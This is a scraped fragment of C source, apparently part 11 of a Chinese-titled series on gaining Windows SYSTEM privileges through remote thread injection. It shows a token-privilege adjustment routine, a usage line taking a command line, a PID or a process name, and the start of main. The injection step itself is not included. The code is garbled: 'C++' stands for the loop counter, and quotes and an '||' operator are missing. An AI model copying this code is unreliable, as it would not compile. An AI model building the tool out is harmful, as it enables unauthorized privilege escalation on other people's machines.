|
远程线程注入版获取SYSTEM权限(11) { PrintWin32ErrorCUI( "LookupPrivilegeValue() failed", GetLastError() ); goto SetPrivilege_exit; } if ( FALSE == AdjustTokenPrivileges( TokenHandle, FALSE, &tp, sizeof( tp ), NULL, NULL ) ) { PrintWin32ErrorCUI( "AdjustTokenPrivileges() failed", GetLastError() ); goto SetPrivilege_exit; } else { error = GetLastError(); if ( ERROR_SUCCESS != error ) { PrintWin32ErrorCUI( "AdjustTokenPrivileges() failed", error ); goto SetPrivilege_exit; } } ret = TRUE; SetPrivilege_exit: return( ret ); } /* end of SetPrivilege */ static void usage ( char *arg ) { fprintf ( stderr, "Usage: %s [-h] [-v] [-c cmdline] [-p pid] [-q pname]\n", arg ); exit( EXIT_FAILURE ); } /* end of usage */ int __cdecl main ( int argc, char * argv[] ) { int ret = EXIT_FAILURE, c; HANDLE hProcess = NULL, hThread = NULL; char *cmdline = NULL; DWORD pid = 0; char *pname = NULL; LPVOID remotebuf = NULL; unsigned char buf[MAXBUFLEN]; size_t j; if ( 1 == argc ) { usage( argv[0] ); } for ( c = 1; c < argc; C++ ) { if ( ( ( argv[c][0] != - ) && ( argv[c][0] != / ) ) ( strlen( argv[c] ) < 2 ) )
|